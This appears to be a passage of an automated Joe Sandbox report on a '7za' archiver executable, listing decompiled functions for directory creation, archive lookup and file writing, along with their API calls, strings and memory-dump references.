Part of subcall function 00409B24: __EH_prolog.LIBCMT ref: 00409B29
Part of subcall function 00409B24: RemoveDirectoryW.KERNEL32(?,?,?,00000000,?,?,0000005C,?,?,0047AC50), ref: 00409B67
Part of subcall function 00409B24: RemoveDirectoryW.KERNEL32(?,00000003,?,?,?,00000000,?,?,0000005C,?,?,0047AC50), ref: 00409B98

Part of subcall function 00412FDC: __EH_prolog.LIBCMT ref: 00412FE1

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Strings

59@, xrefs: 004122C6, 0041233E, 00412351, 00412553, 004125BE, 004125FF, 00412653, 0041267B, 004126A6, 00412AA3, 00412AD9, 00412B29, 00412B71
,, xrefs: 00412C27
can not open output file , xrefs: 00412A57

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00416922, Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 261

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00416922(intOrPtr __ecx, signed int __edx, void* __eflags) {
				intOrPtr* _t123;
				void* _t130;
				signed int _t144;
				signed int _t153;
				signed int _t156;
				intOrPtr _t158;
				signed int _t160;
				void* _t162;
				void* _t163;
				signed int _t169;
				signed int _t175;
				signed int _t180;
				signed int _t185;
				intOrPtr _t198;
				intOrPtr* _t208;
				signed int* _t227;
				intOrPtr* _t231;
				signed int* _t234;
				void* _t235;
				signed int _t236;
				void* _t238;

				E0046B890(E00474B3C, _t238);
				_t123 =  *((intOrPtr*)(_t238 + 0x20));
				_t185 = 0;
				 *_t123 = 0;
				 *((intOrPtr*)(_t123 + 4)) = 0;
				_t231 =  *((intOrPtr*)(__ecx));
				 *((intOrPtr*)(_t238 - 0x14)) = __ecx;
				 *(_t238 - 0x1c) = __edx;
				E00404AD0(_t238 - 0x58, 4);
				 *((intOrPtr*)(_t238 - 0x58)) = 0x47ab80;
				_t234 =  *(_t238 + 0x10);
				 *(_t238 - 4) = 0;
				if( *_t234 != 0) {
					L13:
					E00404AD0(_t238 - 0x6c, 4);
					 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
					 *(_t238 - 4) = 2;
					E004039C0(_t238 - 0x34,  &(_t234[4]));
					 *(_t238 - 4) = 3;
					E00403532(_t238 - 0x28, 0x48bb7c);
					 *(_t238 - 4) = 4;
					_t130 = E00417172(_t238 - 0x40,  *((intOrPtr*)(_t238 - 0x14)) + 0x10, __eflags);
					 *(_t238 - 4) = 5;
					E00416C31(_t238 - 0x34, _t238 - 0x28, _t130);
					E00407A18( *((intOrPtr*)(_t238 - 0x40)));
					 *(_t238 - 4) = 3;
					E00407A18( *(_t238 - 0x28));
					__eflags =  *((intOrPtr*)(_t238 - 0x30)) - _t185;
					if( *((intOrPtr*)(_t238 - 0x30)) == _t185) {
						L18:
						asm("sbb eax, eax");
						E00411C21( *((intOrPtr*)(_t238 + 0x18)),  ~( *_t234) &  *(_t238 - 0x1c),  *((intOrPtr*)(_t238 - 0x14)),  *((intOrPtr*)(_t238 + 0x14)), _t234[0], _t234[0], _t234[1], _t238 - 0x34, _t238 - 0x6c,  *((intOrPtr*)(_t238 + 8)),  *((intOrPtr*)(_t238 + 0xc)));
						_t227 =  &(_t234[7]);
						_t144 = E004192F5(_t231, _t227);
						__eflags = _t144 - _t185;
						 *(_t238 + 0x10) = _t144;
						if(_t144 == _t185) {
							__eflags = _t234[0] - _t185;
							if(_t234[0] == _t185) {
								L23:
								__eflags = 0;
							} else {
								__eflags = _t234[1] - _t185;
								if(_t234[1] != _t185) {
									goto L23;
								} else {
									_push(1);
									_pop(0);
								}
							}
							_push( *((intOrPtr*)(_t238 + 0x18)));
							__eflags =  *_t234 - _t185;
							_t198 =  *_t231;
							_push(0);
							if( *_t234 == _t185) {
								_t235 =  *((intOrPtr*)(_t198 + 0x1c))(_t231,  *((intOrPtr*)(_t238 - 0x4c)),  *((intOrPtr*)(_t238 - 0x50)));
							} else {
								_t235 =  *((intOrPtr*)(_t198 + 0x1c))(_t231, _t185, 0xffffffff);
								 *(_t238 - 0x44) = _t185;
								 *(_t238 - 0x42) = _t185;
								 *(_t238 - 4) = 0xa;
								_t156 =  *((intOrPtr*)( *_t231 + 0x20))(_t231, 0x2c, _t238 - 0x44);
								__eflags = _t156;
								if(_t156 == 0) {
									__eflags =  *(_t238 - 0x44) - 0x15;
									if( *(_t238 - 0x44) == 0x15) {
										L28:
										_t158 = E0040C5AD(_t238 - 0x44);
										_t208 =  *((intOrPtr*)(_t238 + 0x20));
										 *_t208 = _t158;
										 *(_t208 + 4) = _t227;
									} else {
										__eflags =  *(_t238 - 0x44) - 0x13;
										if( *(_t238 - 0x44) == 0x13) {
											goto L28;
										}
									}
								}
								 *(_t238 - 4) = 3;
								E0040C20F(_t238 - 0x44);
							}
							_t236 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x14)))) + 0x30))(_t235);
							E00407A18( *((intOrPtr*)(_t238 - 0x34)));
							 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
							 *(_t238 - 4) = 0xb;
						} else {
							E00407A18( *((intOrPtr*)(_t238 - 0x34)));
							 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
							_t236 =  *(_t238 + 0x10);
							 *(_t238 - 4) = 9;
						}
					} else {
						_t160 = E00409D7C( *((intOrPtr*)(_t238 - 0x34))); // executed
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						} else {
							_t236 = GetLastError();
							__eflags = _t236 - _t185;
							if(_t236 == _t185) {
								_t236 = 0x80004005;
							}
							_t162 = E00403532(_t238 - 0x28, L"Can not create output directory ");
							_push(_t238 - 0x34);
							 *(_t238 - 4) = 6;
							_t163 = E0040B0A0(_t238 - 0x40, _t162);
							 *(_t238 - 4) = 7;
							E00401E26( *((intOrPtr*)(_t238 + 0x1c)), _t163);
							E00407A18( *((intOrPtr*)(_t238 - 0x40)));
							E00407A18( *(_t238 - 0x28));
							E00407A18( *((intOrPtr*)(_t238 - 0x34)));
							 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
							 *(_t238 - 4) = 8;
						}
					}
					E0040862D();
					 *(_t238 - 4) = _t185;
					E00408604(_t238 - 0x6c);
					goto L33;
				} else {
					_t169 =  *((intOrPtr*)( *_t231 + 0x14))(_t231, _t238 - 0x18);
					if(_t169 == 0) {
						__eflags =  *(_t238 - 0x18);
						 *((intOrPtr*)(_t238 - 0x10)) = 0;
						if( *(_t238 - 0x18) <= 0) {
							L9:
							__eflags =  *((intOrPtr*)(_t238 - 0x50)) - _t185;
							if( *((intOrPtr*)(_t238 - 0x50)) != _t185) {
								goto L13;
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x14)))) + 0x2c))();
								goto L11;
							}
						} else {
							while(1) {
								 *(_t238 - 0x28) = _t185;
								 *(_t238 - 0x24) = _t185;
								 *(_t238 - 0x20) = _t185;
								E00401E9A(_t238 - 0x28, 3);
								_push(_t238 - 0x28);
								 *(_t238 - 4) = 1;
								_push( *((intOrPtr*)(_t238 - 0x10)));
								_t175 = E004179F7( *((intOrPtr*)(_t238 - 0x14)));
								__eflags = _t175 - _t185;
								if(_t175 != _t185) {
									break;
								}
								_t175 = E004179E9(_t238 + 0x13);
								__eflags = _t175 - _t185;
								if(_t175 != _t185) {
									break;
								} else {
									__eflags =  *((intOrPtr*)(_t238 + 0x13)) - _t185;
									_t180 = E00408E6D( *((intOrPtr*)(_t238 + 0x13)) - _t185, _t238 - 0x28, _t175 & 0xffffff00 |  *((intOrPtr*)(_t238 + 0x13)) == _t185);
									__eflags = _t180;
									if(_t180 != 0) {
										E00415C6D(_t238 - 0x58,  *((intOrPtr*)(_t238 - 0x10)));
									}
									 *(_t238 - 4) = _t185;
									E00407A18( *(_t238 - 0x28));
									 *((intOrPtr*)(_t238 - 0x10)) =  *((intOrPtr*)(_t238 - 0x10)) + 1;
									__eflags =  *((intOrPtr*)(_t238 - 0x10)) -  *(_t238 - 0x18);
									if( *((intOrPtr*)(_t238 - 0x10)) <  *(_t238 - 0x18)) {
										continue;
									} else {
										goto L9;
									}
								}
								goto L34;
							}
							_t236 = _t175;
							E00407A18( *(_t238 - 0x28));
							L33:
							_t117 = _t238 - 4;
							 *_t117 =  *(_t238 - 4) | 0xffffffff;
							__eflags =  *_t117;
							E00408604(_t238 - 0x58);
							_t153 = _t236;
						}
					} else {
						_t185 = _t169;
						L11:
						 *(_t238 - 4) =  *(_t238 - 4) | 0xffffffff;
						E00408604(_t238 - 0x58);
						_t153 = _t185;
					}
				}
				L34:
				 *[fs:0x0] =  *((intOrPtr*)(_t238 - 0xc));
				return _t153;
			}

0x00416927
0x0041692f
0x00416933
0x00416936
0x00416939
0x0041693c
0x0041693e
0x00416941
0x00416949
0x0041694e
0x00416955
0x00416958
0x0041695d
0x00416a25
0x00416a2a
0x00416a2f
0x00416a3d
0x00416a41
0x00416a4e
0x00416a52
0x00416a5d
0x00416a64
0x00416a71
0x00416a75
0x00416a7d
0x00416a85
0x00416a89
0x00416a8e
0x00416a93
0x00416b09
0x00416b30
0x00416b36
0x00416b3b
0x00416b40
0x00416b45
0x00416b47
0x00416b4a
0x00416b68
0x00416b6b
0x00416b77
0x00416b77
0x00416b6d
0x00416b6d
0x00416b70
0x00000000
0x00416b72
0x00416b72
0x00416b74
0x00416b74
0x00416b70
0x00416b79
0x00416b7c
0x00416b7e
0x00416b80
0x00416b81
0x00416bde
0x00416b83
0x00416b8a
0x00416b8c
0x00416b90
0x00416b9d
0x00416ba1
0x00416ba4
0x00416ba6
0x00416ba8
0x00416bad
0x00416bb6
0x00416bb9
0x00416bbe
0x00416bc1
0x00416bc3
0x00416baf
0x00416baf
0x00416bb4
0x00000000
0x00000000
0x00416bb4
0x00416bad
0x00416bc9
0x00416bcd
0x00416bcd
0x00416be9
0x00416bee
0x00416bf4
0x00416bfb
0x00416b4c
0x00416b4f
0x00416b55
0x00416b5c
0x00416b5f
0x00416b5f
0x00416a95
0x00416a98
0x00416a9d
0x00416a9f
0x00000000
0x00416aa1
0x00416aa7
0x00416aa9
0x00416aab
0x00416aad
0x00416aad
0x00416aba
0x00416ac4
0x00416ac8
0x00416acc
0x00416ad5
0x00416ad9
0x00416ae1
0x00416ae9
0x00416af1
0x00416af9
0x00416b00
0x00416b00
0x00416a9f
0x00416c02
0x00416c0a
0x00416c0d
0x00000000
0x00416963
0x0041696a
0x0041696f
0x00416978
0x0041697b
0x0041697e
0x004169f5
0x004169f5
0x004169f8
0x00000000
0x004169fa
0x004169ff
0x00000000
0x004169ff
0x00416980
0x00416980
0x00416985
0x00416988
0x0041698b
0x0041698e
0x00416999
0x0041699a
0x0041699e
0x004169a1
0x004169a6
0x004169a8
0x00000000
0x00000000
0x004169b3
0x004169b8
0x004169ba
0x00000000
0x004169bc
0x004169bc
0x004169ca
0x004169cf
0x004169d1
0x004169d9
0x004169d9
0x004169e1
0x004169e4
0x004169e9
0x004169f0
0x004169f3
0x00000000
0x00000000
0x00000000
0x00000000
0x004169f3
0x00000000
0x004169ba
0x00416a18
0x00416a1a
0x00416c12
0x00416c12
0x00416c12
0x00416c12
0x00416c19
0x00416c1e
0x00416c1e
0x00416971
0x00416971
0x00416a02
0x00416a02
0x00416a09
0x00416a0e
0x00416a0e
0x0041696f
0x00416c20
0x00416c26
0x00416c2e

APIs

__EH_prolog.LIBCMT ref: 00416927

Part of subcall function 004179F7: __EH_prolog.LIBCMT ref: 004179FC

Part of subcall function 00417172: __EH_prolog.LIBCMT ref: 00417177

GetLastError.KERNEL32(?,00000000,0048BB7C,?,00000004,00000004,?,00000000,00000000), ref: 00416AA1

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 004192F5: __EH_prolog.LIBCMT ref: 004192FA

Part of subcall function 0040C5AD: __CxxThrowException@8.LIBC ref: 0040C5D3

Part of subcall function 00409D7C: __EH_prolog.LIBCMT ref: 00409D81
Part of subcall function 00409D7C: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00409E0C

Strings

59@, xrefs: 00416A2F, 00416AF9, 00416B15, 00416B55, 00416BF4
Can not create output directory , xrefs: 00416AB2

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0041003E, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 202

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0041003E(void* __ebx, intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __eflags) {
				void* _t125;
				intOrPtr* _t128;
				void* _t142;
				signed int _t168;
				intOrPtr* _t175;
				intOrPtr _t176;
				signed int _t208;
				void* _t209;
				signed int _t212;
				void* _t218;

				E0046B890(E00474107, _t218);
				 *((intOrPtr*)(_t218 - 0x24)) = __edx;
				E00405B9F(_t218 - 0x38);
				 *((intOrPtr*)(_t218 - 0x38)) = 0x47a420;
				_t168 = 0;
				 *(_t218 - 4) = 0;
				L14();
				 *(_t218 - 4) = 1;
				E00405B9F(_t218 - 0x20);
				 *((intOrPtr*)(_t218 - 0x20)) = 0x47a420;
				 *(_t218 - 4) = 2;
				E00404AD0(_t218 - 0x74, 4);
				 *((intOrPtr*)(_t218 - 0x74)) = 0x47a9ac;
				_push(_t218 - 0x74);
				_push(_t218 - 0x20);
				_push(0);
				_t175 = __ecx;
				 *(_t218 - 4) = 3;
				_t125 = E00415349(__ecx, _t218 - 0xc4); // executed
				if(_t125 != 0 ||  *(_t218 - 0x18) > 0) {
					 *(_t218 + 8) = "cannot find archive";
					E0046B8F4(_t218 + 8, 0x47cf70);
					_push(0x47a420);
					_t128 = _t175;
					__eflags = 0;
					_t176 = 4;
					 *((intOrPtr*)(_t128 + 4)) = 0;
					 *((intOrPtr*)(_t128 + 8)) = 0;
					 *((intOrPtr*)(_t128 + 0xc)) = 0;
					 *((intOrPtr*)(_t128 + 0x10)) = _t176;
					 *_t128 = 0x47a420;
					 *((intOrPtr*)(_t128 + 0x18)) = 0;
					 *((intOrPtr*)(_t128 + 0x1c)) = 0;
					 *((intOrPtr*)(_t128 + 0x20)) = 0;
					 *((intOrPtr*)(_t128 + 0x24)) = _t176;
					 *((intOrPtr*)(_t128 + 0x14)) = 0x47a668;
					 *((intOrPtr*)(_t128 + 0x2c)) = 0;
					 *((intOrPtr*)(_t128 + 0x30)) = 0;
					 *((intOrPtr*)(_t128 + 0x34)) = 0;
					 *((intOrPtr*)(_t128 + 0x38)) = _t176;
					 *((intOrPtr*)(_t128 + 0x28)) = 0x47a668;
					 *((intOrPtr*)(_t128 + 0x40)) = 0;
					 *((intOrPtr*)(_t128 + 0x44)) = 0;
					 *((intOrPtr*)(_t128 + 0x48)) = 0;
					 *((intOrPtr*)(_t128 + 0x4c)) = _t176;
					 *((intOrPtr*)(_t128 + 0x3c)) = 0x47aa4c;
					return _t128;
				} else {
					 *(_t218 - 4) = 2;
					E00408604(_t218 - 0x74);
					 *((intOrPtr*)(_t218 - 0x20)) = 0x47a420;
					 *(_t218 - 4) = 4;
					E0040862D();
					 *(_t218 - 4) = 1;
					E00408604(_t218 - 0x20);
					_t208 = 0;
					if( *((intOrPtr*)(_t218 - 0x80)) > 0) {
						do {
							if(( *( *((intOrPtr*)( *((intOrPtr*)(_t218 - 0x7c)) + _t208 * 4)) + 0x2c) >> 0x00000004 & 0x00000001) == 0) {
								_push(E0041528B(_t218 - 0xc4, _t218 - 0x18, _t208));
								 *(_t218 - 4) = 5;
								E00406796(_t218 - 0x38);
								 *(_t218 - 4) = 1;
								E00407A18( *(_t218 - 0x18));
							}
							_t208 = _t208 + 1;
							_t228 = _t208 -  *((intOrPtr*)(_t218 - 0x80));
						} while (_t208 <  *((intOrPtr*)(_t218 - 0x80)));
					}
					 *(_t218 - 4) =  *(_t218 - 4) & 0x00000000;
					E004102DF(_t218 - 0xc4, _t228);
					if( *((intOrPtr*)(_t218 - 0x30)) == _t168) {
						 *(_t218 + 8) = "there is no such archive";
						E0046B8F4(_t218 + 8, 0x47cf70);
					}
					E00405B9F(_t218 - 0x60);
					 *((intOrPtr*)(_t218 - 0x60)) = 0x47a420;
					_t209 = 0;
					 *(_t218 - 4) = 6;
					if( *((intOrPtr*)(_t218 - 0x30)) > _t168) {
						do {
							 *(_t218 - 0x18) = _t168;
							 *(_t218 - 0x14) = _t168;
							 *(_t218 - 0x10) = _t168;
							E00401E9A(_t218 - 0x18, 3);
							 *(_t218 - 4) = 7;
							E0040A5AF();
							_push(_t218 - 0x18);
							E00406796(_t218 - 0x60);
							 *(_t218 - 4) = 6;
							E00407A18( *(_t218 - 0x18));
							_t209 = _t209 + 1;
						} while (_t209 <  *((intOrPtr*)(_t218 - 0x30)));
					}
					E00404AD0(_t218 - 0x4c, 4);
					 *((intOrPtr*)(_t218 - 0x4c)) = 0x47a668;
					 *(_t218 - 4) = 8;
					E004195A6(_t218 - 0x60, _t218 - 0x4c);
					E0040867E( *((intOrPtr*)(_t218 - 0x24)),  *((intOrPtr*)(_t218 - 0x44)));
					E0040867E( *(_t218 + 8),  *((intOrPtr*)(_t218 - 0x44)));
					if( *((intOrPtr*)(_t218 - 0x44)) > _t168) {
						do {
							_t212 =  *( *((intOrPtr*)(_t218 - 0x40)) + _t168 * 4) << 2;
							_push( *((intOrPtr*)(_t212 +  *((intOrPtr*)(_t218 - 0x2c)))));
							E00406796( *((intOrPtr*)(_t218 - 0x24)));
							_push( *((intOrPtr*)(_t212 +  *((intOrPtr*)(_t218 - 0x54)))));
							E00406796( *(_t218 + 8));
							_t168 = _t168 + 1;
						} while (_t168 <  *((intOrPtr*)(_t218 - 0x44)));
					}
					 *(_t218 - 4) = 6;
					E00408604(_t218 - 0x4c);
					 *((intOrPtr*)(_t218 - 0x60)) = 0x47a420;
					 *(_t218 - 4) = 9;
					E0040862D();
					 *(_t218 - 4) =  *(_t218 - 4) & 0x00000000;
					E00408604(_t218 - 0x60);
					 *((intOrPtr*)(_t218 - 0x38)) = 0x47a420;
					 *(_t218 - 4) = 0xa;
					E0040862D();
					 *(_t218 - 4) =  *(_t218 - 4) | 0xffffffff;
					_t142 = E00408604(_t218 - 0x38);
					 *[fs:0x0] =  *((intOrPtr*)(_t218 - 0xc));
					return _t142;
				}
			}

0x00410043
0x00410053
0x00410059
0x00410063
0x00410066
0x0041006e
0x00410071
0x00410079
0x0041007d
0x00410082
0x0041008a
0x0041008e
0x00410093
0x004100a3
0x004100a7
0x004100a8
0x004100a9
0x004100ab
0x004100af
0x004100b6
0x00410281
0x00410288
0x0041028d
0x0041028e
0x00410292
0x00410294
0x0041029a
0x0041029d
0x004102a0
0x004102a3
0x004102a6
0x004102ac
0x004102af
0x004102b2
0x004102b5
0x004102b8
0x004102bb
0x004102be
0x004102c1
0x004102c4
0x004102c7
0x004102ca
0x004102cd
0x004102d0
0x004102d3
0x004102d6
0x004102de
0x004100c5
0x004100c8
0x004100cc
0x004100d1
0x004100d7
0x004100db
0x004100e3
0x004100e7
0x004100ec
0x004100f1
0x004100f3
0x00410101
0x00410113
0x00410117
0x0041011b
0x00410120
0x00410127
0x0041012c
0x0041012d
0x0041012e
0x0041012e
0x004100f3
0x00410133
0x0041013d
0x00410145
0x00410150
0x00410157
0x00410157
0x0041015f
0x00410164
0x00410167
0x0041016c
0x00410170
0x00410172
0x00410177
0x0041017a
0x0041017d
0x00410180
0x0041018b
0x00410196
0x004101a1
0x004101a2
0x004101a7
0x004101ae
0x004101b3
0x004101b5
0x00410172
0x004101bf
0x004101c4
0x004101d1
0x004101d5
0x004101e0
0x004101eb
0x004101f3
0x004101f5
0x00410203
0x00410206
0x00410209
0x00410214
0x00410217
0x0041021c
0x0041021d
0x004101f5
0x00410225
0x00410229
0x0041022e
0x00410234
0x00410238
0x0041023d
0x00410244
0x00410249
0x0041024f
0x00410256
0x0041025b
0x00410262
0x0041026d
0x00410275
0x00410275

APIs

__EH_prolog.LIBCMT ref: 00410043

Part of subcall function 00415349: __EH_prolog.LIBCMT ref: 0041534E

Part of subcall function 004102DF: __EH_prolog.LIBCMT ref: 004102E4

__CxxThrowException@8.LIBC ref: 00410157

Part of subcall function 0040867E: __CxxThrowException@8.LIBC ref: 004086AA
Part of subcall function 0040867E: __CxxThrowException@8.LIBC ref: 004086D1
Part of subcall function 0040867E: __CxxThrowException@8.LIBC ref: 004086F9

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

__CxxThrowException@8.LIBC ref: 00410288

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Strings

59@, xrefs: 0041005E, 0041028D, 004102A6

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00470330, Relevance: 6.1, APIs: 4, Instructions: 135

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00470330(long _a4, void* _a8, long _a12) {
				intOrPtr* _v8;
				long _v12;
				long _v16;
				signed int _v20;
				void _v1048;
				void** _t66;
				signed int _t67;
				intOrPtr _t69;
				signed int _t70;
				intOrPtr _t71;
				signed int _t73;
				signed int _t80;
				int _t85;
				long _t87;
				intOrPtr* _t91;
				intOrPtr _t97;
				struct _OVERLAPPED* _t101;
				long _t103;
				signed int _t105;
				struct _OVERLAPPED* _t106;

				_t101 = 0;
				_v12 = 0;
				_v20 = 0;
				if(_a12 != 0) {
					_t91 = 0x496460 + (_a4 >> 5) * 4;
					_t105 = (_a4 & 0x0000001f) + (_a4 & 0x0000001f) * 8 << 2;
					__eflags =  *( *_t91 + _t105 + 4) & 0x00000020;
					if(__eflags != 0) {
						E004716C1(__eflags, _a4, 0, 2);
					}
					_t66 =  *_t91 + _t105;
					__eflags = _t66[1] & 0x00000080;
					if((_t66[1] & 0x00000080) == 0) {
						_t67 = WriteFile( *_t66, _a8, _a12,  &_v16, _t101);
						__eflags = _t67;
						if(_t67 == 0) {
							_a4 = GetLastError();
						} else {
							_a4 = _t101;
							_v12 = _v16;
						}
						L15:
						_t69 = _v12;
						__eflags = _t69 - _t101;
						if(_t69 != _t101) {
							_t70 = _t69 - _v20;
							__eflags = _t70;
							return _t70;
						}
						__eflags = _a4 - _t101;
						if(_a4 == _t101) {
							L25:
							_t71 =  *_t91;
							__eflags =  *(_t71 + _t105 + 4) & 0x00000040;
							if(( *(_t71 + _t105 + 4) & 0x00000040) == 0) {
								L27:
								 *((intOrPtr*)(E00470646())) = 0x1c;
								_t73 = E0047064F();
								 *_t73 = _t101;
								L24:
								return _t73 | 0xffffffff;
							}
							__eflags =  *_a8 - 0x1a;
							if( *_a8 == 0x1a) {
								goto L1;
							}
							goto L27;
						}
						_t106 = 5;
						__eflags = _a4 - _t106;
						if(_a4 != _t106) {
							_t73 = E004705D3(_a4);
						} else {
							 *((intOrPtr*)(E00470646())) = 9;
							_t73 = E0047064F();
							 *_t73 = _t106;
						}
						goto L24;
					}
					__eflags = _a12 - _t101;
					_v8 = _a8;
					_a4 = _t101;
					if(_a12 <= _t101) {
						goto L25;
					} else {
						goto L6;
					}
					do {
						L6:
						_t80 =  &_v1048;
						do {
							__eflags = _v8 - _a8 - _a12;
							if(_v8 - _a8 >= _a12) {
								break;
							}
							_v8 = _v8 + 1;
							_t97 =  *_v8;
							__eflags = _t97 - 0xa;
							if(_t97 == 0xa) {
								_v20 = _v20 + 1;
								 *_t80 = 0xd;
								_t80 = _t80 + 1;
								__eflags = _t80;
							}
							 *_t80 = _t97;
							_t80 = _t80 + 1;
							__eflags = _t80 -  &_v1048 - 0x400;
						} while (_t80 -  &_v1048 < 0x400);
						_t103 = _t80 -  &_v1048;
						_t85 = WriteFile( *( *_t91 + _t105),  &_v1048, _t103,  &_v16, 0); // executed
						__eflags = _t85;
						if(_t85 == 0) {
							_a4 = GetLastError();
							break;
						}
						_t87 = _v16;
						_v12 = _v12 + _t87;
						__eflags = _t87 - _t103;
						if(_t87 < _t103) {
							break;
						}
						__eflags = _v8 - _a8 - _a12;
					} while (_v8 - _a8 < _a12);
					_t101 = 0;
					__eflags = 0;
					goto L15;
				}
				L1:
				return 0;
			}

0x0047033c
0x00470341
0x00470344
0x00470347
0x00470356
0x00470368
0x0047036b
0x00470370
0x00470378
0x0047037d
0x00470382
0x00470384
0x00470388
0x0047045c
0x00470462
0x00470464
0x00470477
0x00470466
0x00470469
0x0047046c
0x0047046c
0x00470418
0x00470418
0x0047041b
0x0047041d
0x004704b3
0x004704b3
0x00000000
0x004704b3
0x00470423
0x00470426
0x0047048a
0x0047048a
0x0047048c
0x00470491
0x0047049f
0x004704a4
0x004704aa
0x004704af
0x00470485
0x00000000
0x00470485
0x00470496
0x00470499
0x00000000
0x00000000
0x00000000
0x00470499
0x0047042a
0x0047042b
0x0047042e
0x0047047f
0x00470430
0x00470435
0x0047043b
0x00470440
0x00470440
0x00000000
0x0047042e
0x00470391
0x00470394
0x00470397
0x0047039a
0x00000000
0x00000000
0x00000000
0x00000000
0x004703a0
0x004703a0
0x004703a0
0x004703a6
0x004703ac
0x004703af
0x00000000
0x00000000
0x004703b4
0x004703b7
0x004703b9
0x004703bc
0x004703be
0x004703c1
0x004703c4
0x004703c4
0x004703c4
0x004703c5
0x004703c7
0x004703d2
0x004703d2
0x004703e2
0x004703f7
0x004703fd
0x004703ff
0x0047044a
0x00000000
0x0047044a
0x00470401
0x00470404
0x00470407
0x00470409
0x00000000
0x00000000
0x00470411
0x00470411
0x00470416
0x00470416
0x00000000
0x00470416
0x00470349
0x00000000

APIs

GetLastError.KERNEL32 ref: 00470471

Part of subcall function 004716C1: SetFilePointer.KERNEL32(00000000,?,00000000,00000000,00000000,?,0047037D,?,00000000,00000002,00000001,?,?), ref: 004716EB
Part of subcall function 004716C1: GetLastError.KERNEL32 ref: 004716F8

WriteFile.KERNEL32(?,?,?,00000000,00000000), ref: 004703F7
GetLastError.KERNEL32 ref: 00470444
WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 0047045C

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040B8BF, Relevance: 6.1, APIs: 4, Instructions: 91

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0040B8BF(void** __ecx) {
				signed int _t37;
				void* _t38;
				signed int _t41;
				signed int _t45;
				intOrPtr* _t48;
				signed int _t50;
				void** _t74;
				void* _t76;
				intOrPtr _t81;

				E0046B890(E00473E14, _t76);
				_t81 =  *0x490a7c; // 0x1
				_t74 = __ecx;
				if(_t81 != 0) {
					_t37 = E0040B9C0(__ecx);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = CreateFileW( *(_t76 + 8),  *(_t76 + 0xc),  *(_t76 + 0x10), 0,  *(_t76 + 0x14),  *(_t76 + 0x18), 0); // executed
						__eflags = _t38 - 0xffffffff;
